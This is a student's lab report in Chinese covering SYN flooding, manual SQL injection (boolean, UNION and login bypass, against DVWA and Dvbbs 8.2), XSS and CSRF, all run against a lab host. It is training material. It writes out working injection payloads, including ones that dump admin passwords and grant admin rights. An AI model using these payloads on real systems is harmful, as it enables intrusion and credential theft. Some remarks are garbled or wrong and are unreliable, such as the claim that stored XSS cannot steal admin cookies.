利用TCP協議實現synflood攻擊
運行syn攻擊程序,以靶機為目標主機對其發送syn數據包,查看目標主機狀態。
- 利用xdos工具進行攻擊
首先在192.168.1.3的目標機器上打開wireshark,過濾出ip.dst=192.168.1.3的IP包。
再在192.168.1.2的發動攻擊的主機上輸入命令:192.168.1.3 135 -t 3 -s 55.55.55.55
。 -
利用wireshark軟件抓取SYN數據包
返回192.168.1.3機器,可以看到出現大量包:
- 課后習題:
- 如何防范xdos攻擊:
定期掃描現有的網絡主節點,清查可能存在的安全漏洞,對新出現的漏洞及時進行清理。
在骨干節點配置防火墻。防火墻本身能抵御Ddos攻擊和其他一些攻擊。在發現受到攻擊的時候,可以將攻擊導向一些犧牲主機,這樣可以保護真正的主機不被攻擊。
充分利用網絡設備保護網絡資源。 - 防病毒軟件對于dos攻擊來說是無效的。
- 根據TCP/IP協議,發送端發出SYN后,接收端返回SYN+ACK。
SQL注入原理-手工注入access數據庫
SQL注入是通過把SQL命令插入到web表單提交或輸入域名或頁面請求的查詢字符串,最終達到欺騙服務器執行惡意SQL命令。
- 找到有注入漏洞的目標網站
在網站鏈接的末尾添加'
,and 1=1
、and 1=2
來驗證網站192.168.1.3:8008存在注入點:
- 猜解表名
在鏈接末尾添加語句and exists(select * from admin)
,頁面正常,說明存在表名admin
:
用同樣的方法證明存在列password
。 - 猜測字段內容
在鏈接末尾說如語句and (select top 1 len (admin) from admin)>1
,逐漸增加1知道頁面出錯,說明字段長為5:
用同樣的方法,猜解除第一條記錄第一位字符ASCII碼為97,admin字段內容為admin,password字段內容為bfpms。
- 課后習題
如何高效地進行猜測:不要盲目遍歷所有可能,而是從常規情況入手,例如admin字段內容常為admin;又如,采用二分法猜測字段長度,比如長度>1成功,長度>10錯誤,則可從5開始檢查。
SQL注入原理-手工聯合查詢注入技術
- 檢測字段長度
檢測鏈接192.168.1.3:8008/onews.asp?id=45
,在后面添加order by 11
時顯示正常,添加order by 12
時錯誤,說明此站字段長度為11:
- 暴露管理員用戶、密碼
在連接后面添加語句union select 1,2,3,4,5,6,7,8,9,10,11 from admin
,頁面顯示數字2和3:
再添加語句union select 1,admin,password,4,5,6,7,8,9,10,11 from admin
,即可暴露出用戶名和密碼:
- 課后習題
聯合查詢可合并多個相似的選擇查詢的結果集。等同于將一個表追加到另一個表,從而實現將兩個表的查詢組合到一起,使用謂詞為UNION或UNION ALL。
SQL注入原理 -萬能密碼注入
用戶進行用戶名和密碼驗證時,網站需要查詢數據庫,查詢數據庫就是執行SQL語句。
- 訪問目標站點
打開網頁192.168.1.3:8009
,輸入用戶名admin
,密碼2' or ' 1
,即可進入論壇。
DVWA之php+mysql手工注入
在用戶的輸入沒有為轉義字符過濾時,就會發生SQL injection形式的注入式攻擊,它會被傳遞給一個SQL語句,這樣就會導致應用程序的終端用戶對數據庫上的語句實施操縱。
- 打開
192.168.1.3:8080/dvwa/login.php
,輸入用戶名和密碼登陸。將DVWA的安全級別調整為low,選擇SQL injection,進入頁面。當如輸入正確的用戶ID時,將顯示相關信息:
當輸入'
時則報錯:
輸入1 or 1=1
時并沒有達成遍歷數據庫表的目標,猜測程序將此處看成了字符型,可以嘗試:1' or '1' =' 1
后遍歷出所有內容:
由下圖判斷查詢結果值為2列:
通過使用user() databse() version()三個內置函數得到數據庫的賬戶名、數據庫名、版本信息:
通過注入1' and 1=2 union select 1,schema_name from information_schema,schemata --
獲取所有數據庫名字:
猜解dvwa數據庫中的表名:
猜解字段名:
通過代碼可以看出,對輸入的值沒有進行任何過濾就直接放入了SQL語句中,帶來了極大隱患。 - 中等等級代碼分析
對輸入的$id
進行mysql_real_escape_string()
函數處理,但只需要將攻擊字符轉換一下編碼格式即可繞過防護函數。 - 高等級代碼分析
對輸入$id
進行stripslashed()
和mysql_real_escape_string()
函數處理,斷絕了注入的存在。
動網論壇8.2經典注入漏洞利用
動網8.2在用戶登錄時過濾不嚴,可以導致注入,提升權限。
- 正常注冊登錄
訪問192.168.1.3:8010/
,然后注冊 - 漏洞測試與利用
使用san' and 'a' =' a
的用戶名和密碼1234567
登錄,顯示:
輸入';update dv_user set usergroupid=1 where username='san'--
,提示用戶名不存在:
但是重新登錄san時可看到已經擁有管理員的權限:
退出,輸入密碼為san';insert into dv_admin(username,password,flag,adduser)....
,從管理員頁面192.168.1.3:8010/admin
使用san用戶名和密碼登陸,發現登陸成功。
- 課后習題
html注入不同于sql注入;name=zhang
中的zhang沒有加引號。
跨站腳本攻擊之反射型XSS
CSS指的是惡意攻擊者往web頁面里插入惡意代碼,用戶瀏覽該頁時,嵌入其中的html代碼會被執行,從而達到惡意攻擊用戶的目的。
- 打開測試站點
打開網頁192.168.1.3:8006/input.htm
,輸入hello并提交,結果正常。 - 在站點中輸入XSS代碼
輸入XSS代碼<script>alert('hello')</script>
提交,彈出對話框
- 課后習題
反射型XSS觸發是主動觸發的。
跨站腳本攻擊之存儲型XSS
跨站腳本攻擊是指,用戶可以向web頁面里插入惡意html代碼,當用戶瀏覽該頁時,html代碼會自動執行從而達到惡意攻擊用戶的目的。
- 尋找XSS漏洞
登陸192.168.1.3:8080/2
點擊在線留言。經過嘗試發現頁面對輸入文字長度進行了限制。 - XSS漏洞利用
在留言標題處輸入*/</script>
提交,再在標題處輸入<script>alert(/xss/)/*
來配合上一段代碼的執行:
當管理員進入管理后臺后,查看留言管理,會觸發惡意代碼成功彈窗:
- 課后習題
- 如何判斷頁面存在XSS:采用盲打策略, 在對數據提交后展現的后臺未知的情況下,網站采用了攻擊者插入了帶真實攻擊功能的xss攻擊代碼(通常是使用script標簽引入遠程的js)的數據。通俗講就是見到輸入框就輸入提前準備的xss代碼。
- XSS其他利用方式:反射型xss,相對于存儲型xss來說比較雞肋;需要欺騙用戶點擊構造好的鏈接,達到竊取cookie,或是進一步CSRF劫持用戶操作的目的。
- 存儲型XSS不能盜取管理員cookie,因為權限不夠,只能獲取一般用戶的cookie。
Csrf利用管理員權限創建后臺管理賬戶
通過普通用戶的存儲型XSS實現創建管理員賬戶的CSRF利用。
- 測試漏洞
打開192.168.1.3:8007
,注冊用戶,登陸,添加二手信息并提交。彈出信息,說明漏洞存在:
-
利用漏洞
再添加一個物品,在物品內容處填寫事先編寫好的腳本,以管理員身份登陸系統并點擊這個物品網頁查看。退出后進入管理員系統,看到管理員中多了一個用戶zhangsan:
并可直接以zhangsan的身份登陸管理員系統:
- 課后習題
DSRF漏洞的利用原理:與XSS不同,XSS利用站點內的信任用戶,而CSRF則通過偽裝來自受信任用戶的請求來利用受信任的網站。